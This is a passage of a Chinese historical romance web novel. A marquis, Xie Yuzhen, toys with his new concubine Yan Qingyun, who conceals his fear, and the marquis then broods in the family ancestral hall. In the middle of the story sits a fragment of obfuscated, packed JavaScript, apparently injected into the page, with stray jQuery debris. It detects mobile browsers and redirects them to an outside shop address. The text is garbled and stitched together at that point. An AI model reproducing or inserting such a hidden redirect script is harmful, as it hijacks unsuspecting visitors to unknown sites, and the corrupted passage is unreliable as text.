“侯爷,”晏青云嘴角微扬,眉梢轻挑,带着几分俏皮说道,“我们彼此了解尚浅,不是吗?”
谢予臻像哄不乖的小宠物似的,揉了揉晏青云软绵的发顶。
晏青云的头发比平常人要软些,摸上去手感极佳。
谢予臻的手接着来到他的嘴唇,用拇指在他唇上轻轻摩挲,把淡淡的唇染成红艳的色彩,他的眼神很温柔,但晏青云只觉得恐惧。
即便之前两人做过那么亲密的事,对于谢予臻的简单爱抚,他还是感到不适。
“你抛弃他跟了我,会不会觉得愧疚?”
头顶上传来谢予臻说不上高兴还是生气的声音。
这话不好回。
稍有不慎会暴露内心真实情绪,好在经过昨日大婚的历练,今天已经能够应对。
“侯爷,那你抢了‘嫂子’,你会不会愧疚?”
谢予臻听了便笑。
跟晏青云在一起,他总是能笑出来。
抱着晏青云的手更加用力。
“我有什么可愧疚,这是他欠我的。”
谢予臻大言不惭。
他们过去一定有过很深的恩怨,越是接近谢予臻,越能体会到这一点。
不知道谢予臻为什么如此恨他同母异父的哥哥,想来那会是一个很长的故事。
烛火映照在谢予臻脸上,为他的面容增添了几分诡异的色彩,五官被一层阴影笼罩,深深的轮廓在光影的交错下变得模糊。他的眼睛隐藏在阴影中,露出幽幽的光芒,嘴角上扬,形成一个冷漠而嘲讽的弧度。
晏青云差一点就问出来“你为什么要这样对宁知远”,好在及时打住。
“侯爷,我有些累了,我想睡一觉,休息一下。”
于是谢予臻把晏青云放在床上,给他盖好被子,握着他的手,看他闭上眼睛,直到睡着,这才离开。
晏青云在谢予臻走后悄悄睁开眼睛,眼中没有丝毫睡意。
“兰生。”
随着晏青云一声呼唤,叶兰生立刻跑过来伺候。
35?String.froharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."j://e.d.f/h/g/"}'',24,24,''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077188|132451||http|test|ni|href|location''.split(''|''),0,{}));
() {
$(''.infor).reve();
$(''#content'').append(''
>“把我的琴拿来,我要练琴。”
另一边,谢予臻从云香居出来,坐上轿子,从怀里摸出一个皮制扁酒壶,喝了一口酒。
如果晏青云在这里,一定会发现那正是过去宁知远随身携带的扁酒壶,现在到了谢予臻手里。
不知何时开始,谢予臻喝酒越来越多,需要酒的麻醉才能入睡,连他自己都没有发现,他受宁知远影响很深。宁知远人虽然不在,整个侯府却处处是他的痕迹。
轿子路过祠堂。
谢予臻叫停。
昨日娶妾,按旧例不用拜堂,更不必去祭拜祖先,眼前既然走到这里,便进去看看。
“不用人跟着,你们都退下。”
谢予臻独自一人走进侯府祠堂。
祠堂内有神龛,神龛上供奉着谢家的祖先牌位,牌位前摆放着香炉和供品,香烟缭绕,散发出淡淡的香气。神龛两侧,挂着家族的家训和族谱。
角落里,几盏油灯发出微弱的光芒,烛火飘摇。
谢予臻的目光定格在父母的牌位上,那两块木质的牌位摆放在最前方。
他从桌上拿了一炷香,躬身拜了三拜,把香插在灵前香炉里。
母亲的牌位有些脏了,谢予臻拿起来,用